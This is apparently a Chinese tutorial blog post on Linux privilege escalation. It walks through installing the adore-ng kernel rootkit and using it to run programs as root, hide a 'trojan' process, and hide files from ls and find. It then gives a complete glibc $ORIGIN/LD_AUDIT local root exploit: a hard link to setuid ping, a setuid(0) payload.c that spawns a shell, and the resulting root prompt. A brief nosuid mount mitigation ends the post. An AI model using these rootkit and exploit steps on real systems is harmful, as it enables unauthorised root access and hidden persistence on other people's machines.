1. 程式人生 > >adore-ng筆記和Linux普通用戶提權

adore-ng筆記和Linux普通用戶提權

shadow 無法 rpm authent su - 還需要 位操作 strong reat

官網:https://github.com/trimpsyw/adore-ng

安裝:

[root@xuegod63 ~]# unzipadore-ng-master.zip

[root@xuegod63 ~]# cdadore-ng-master

[root@xuegod63 adore-ng-master]#rpm -ivh/mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm

yum install gcc*

[root@xuegod63adore-ng-master]# make

[root@xuegod63adore-ng-master]# insmod adore-ng.ko #加載模塊

測試,查看幫助:

[root@xuegod63adore-ng-master]# ./ava -h

Usage: ./ava {h,u,r,R,i,v,U}[file or PID]

I print info (secret UID etc)

h hide file #隱藏文件

u unhide file

r execute as root #可以提權,以root身份運行程序

R remove PID forever

U uninstall adore

i make PID invisible #隱藏進程。隱藏你的木馬程序

v make PID visible

測試:準備環境,創建一個普通用戶於測試。然後在普通用戶上,通過ava命令,提權後,以root身份運行一個進程。

提權:提高自己在服務器中的權限。

[root@xuegod63 ~]# useradd tree

[root@xuegod63 ~]# echo 123456| passwd --stdin tree

Changing password for usertree

passwd: all authenticationtokens updated successfully.

例1: 通過ava命令提權。讓普通用戶tree可以獲得root權限

[root@xuegod63adore-ng-master]# cp -r /root/adore-ng-master /tmp/

[root@xuegod63adore-ng-master]# chmod 777 /tmp/adore-ng-master/ -R

[root@xuegod63 adore-ng-master]#ssh [email protected] #以普通帳號登錄

[tree@xuegod63 ~]$ cd/tmp/adore-ng-master/

[tree@xuegod63adore-ng-master]$ pwd

/tmp/adore-ng-master

[mk@xuegod63 adore-ng-master]$./ava I #查看基本信息,能彈出以下信息說明程序運行正常

56,500,500,56

Adore 1.56 installed. Goodluck.

ELITE_UID: 2618748389,ELITE_GID=4063569279, ADORE_KEY=fgjgggfd CURRENT_ADORE=56

實戰: r 選項: execute as root #以root身份運行程序

[mk@xuegod63 adore-ng-master]$ll /etc/shadow

---------- 1 root root 1071Apr 7 10:17 /etc/shadow

[mk@xuegod63 adore-ng-master]$vim /etc/shadow

[mk@xuegod63 adore-ng-master]$ ./ava r vim /etc/shadow #編輯時,可以寫入一些內容,測試是否可以正常寫入

查看修改成功:

[root@xuegod63 ~]# vim/etc/shadow

另外,在別一個終端上查看,此進程的用戶身份:

[root@xuegod63 ~]# ps -axu | grep shadow

Warning: bad syntax, perhaps abogus ‘-‘? See /usr/share/doc/procps-3.2.7/FAQ

root 6874 0.1 0.1 10216 2924 pts/3 S+ 04:12 0:00 /usr/bin/vim /etc/shadow

root 6879 0.0 0.0 4024 692 pts/2 S+ 04:12 0:00 grep shadow

留後門,不讓人看見?

實戰2: 隱藏進程。隱藏你的木馬程序

模擬一個木馬程序:

[mk@xuegod63adore-ng-master]$ cat a.sh

#!/bin/bash

sleep 2000

[mk@xuegod63adore-ng-master]$ chmod +x a.sh

[mk@xuegod63adore-ng-master]$ ./a.sh &

查看:

[root@xuegod63 ~]# ps-axu | grep a.sh

Warning: bad syntax,perhaps a bogus ‘-‘? See /usr/share/doc/procps-3.2.8/FAQ

tree 6339 0.0 0.1 106148 1184 pts/3 S 10:32 0:00 /bin/bash ./a.sh

隱藏進程

[mk@xuegod63adore-ng-master]$ ./ava i 6339 #隱藏進程

56,500,500,56

Adore 1.56 installed. Goodluck.

Made PID 6339 invisible.

[root@xuegod63 ~]# ps -axu |grep a.sh #查看

Warning: bad syntax, perhaps abogus ‘-‘? See /usr/share/doc/procps-3.2.8/FAQ

root 10225 0.0 0.0 103300 852 pts/4 S+ 22:54 0:00 grep a.sh

實戰3: 隱藏文件

[mk@xuegod63 adore-ng-master]$mkdir test

[mk@xuegod63 adore-ng-master]$cd test/

[mk@xuegod63 test]$ echo aaaa >a.php

[mk@xuegod63 test]$ ls -a

. .. a.php

隱藏文件

[mk@xuegod63 test]$/tmp/adore-ng-master/ava h a.php

56,500,500,56

Adore 1.56 installed. Goodluck.

File ‘a.php‘ is now hidden.

查看:

[mk@localhost test]$ ls -a

. ..

[mk@xuegod63 test]$ cat a.php

aaaa

嘗試:查找最近被的修改的文件

[mk@xuegod63 test]$touch b.php

[mk@xuegod63 test]$ ls

b.php

[mk@xuegod63 test]$find ./ -mtime -2

./

./b.php #找不到出來

有沒有辦法查看到a.php : 沒有。 除非把rootkit木馬程序關了

恢復出來:

[mk@xuegod63 test]$/tmp/adore-ng-master/ava u a.php

56,500,500,56

Adore 1.56 installed. Goodluck.

File ‘a.php‘ is now visible.

[mk@xuegod63 test]$ ls -a

. .. a.php

總結:

1、通過rootkit提權

2、通過rootkit隱藏木馬進程號

3、通過rootkit隱藏木馬文件

創建一個讓root用戶都刪除不了的木馬文件

[root@xuegod63 ~]#lsattr b.txt

----i--------e- b.txt

[root@xuegod63 ~]#chattr -i b.txt

[root@xuegod63 ~]# rm-rf b.txt

實戰2:Linux下普通用戶提權

提權:你聽不懂。 聽深度,後期自己能做出來效果就可以

提權: 從普通用戶提升到root權限

註:RHEL5到RHEL6.0 32位操作系統和64位操作系統都存在以下漏洞。

利用glibc庫的漏洞,提權。

以一個普通用戶登錄

[root@xuegod63 ~]# su -mk

[mk@xuegod63 ~]$

suid : 當用戶執行時命令a時,會以命令a的擁有者身份運行此命令。

[mk@xuegod63 ~]$ cd/tmp/

[hello@localhost tmp]$ls -ld /tmp/

drwxrwxrwt 11 root root4096 10-14 21:29 /tmp/

[hello@localhost tmp]$cd /tmp/

[hello@localhost tmp]$mkdir exploit //隨便在tmp目錄下創建一個文件夾exploit:利用

[mk@localhostadore-ng]$ ll /bin/ping

-rwsr-xr-x 1 root root35832 Apr 24 2009 /bin/ping

[hello@localhost tmp]$ln /bin/ping /tmp/exploit/target //創建/bin/ping 的一個硬鏈接,硬鏈接的名隨便起

[hello@localhost tmp]$exec 3< /tmp/exploit/target

[hello@localhost tmp]$ls -l /proc/$$/fd/3

lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target

[hello@localhost tmp]$rm -fr /tmp/exploit/

[hello@localhost tmp]$ls -l /proc/$$/fd/3 //查看鏈接已經被刪除

lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)

[hello@localhost tmp]$cat payload.c //寫一個C語言程序

void__attribute__((constructor)) init()

{

setuid(0);

system("/bin/bash");

}

[hello@localhost tmp]$gcc -w -fPIC -shared -o /tmp/exploit payload.c //編譯C程序

[hello@localhost tmp]$ls -l /tmp/exploit

-rwxrwxr-x 1 hellohello 4223 10-20 09:32 /tmp/exploit

[mk@xuegod63 tmp]$whoami

mk

[hello@localhost tmp]$LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3

[root@localhost tmp]#whoami

root

在RHEL6.1嘗試時,前面幾條命令都可以執行成功,在執行最後這條命令時報以下錯誤,並直接使用普通用戶退出登錄。

提示:對像$ORIGIN不能被作為審計接口加載

無法打開共享文件ject ;忽略

解決方法:

對 777 的目錄做如下操作 , 可以控制你提權的 . 比如/tmp

# mount -o bind,nosuid/tmp /tmp

還需要把用戶的家目錄也用上面的方法打上補丁:

[root@xuegod63 ~]#mount -o bind,nosuid /home/mk /home/mk

修改就不行了,執行ln命令時提示以下錯誤。

[root@xuegod63 ~]# su -mk

[mk@xuegod63 ~]$ ln/bin/ping /tmp/ping

ln: creating hard link`/tmp/ping‘ => `/bin/ping‘: Invalid cross-device link

#報錯,創建硬鏈接時,報錯,無效的跨設備連接

註:查找權限是777的文件夾:

root@xuegod63 ~]# find/ -perm -777 -type d

/var/tmp

/dev/.mdadm

/dev/.udev

/dev/.udev/rules.d

/dev/shm

find:`/proc/9346/task/9346/fd/5‘: No such file or directory

find:`/proc/9346/task/9346/fdinfo/5‘: No such file or directory

find:`/proc/9346/fd/5‘: No such file or directory

find: `/proc/9346/fdinfo/5‘:No such file or directory

/tmp

/tmp/VMwareDnD

/tmp/.ICE-unix

/tmp/.X11-unix

普通用戶的家目錄/home/普通用戶

註:

-perm mode:文件權限正好符合mode

-perm +mode:文件權限部分符合mode

-perm -mode: 文件權限完全符合mode

adore-ng筆記和Linux普通用戶提權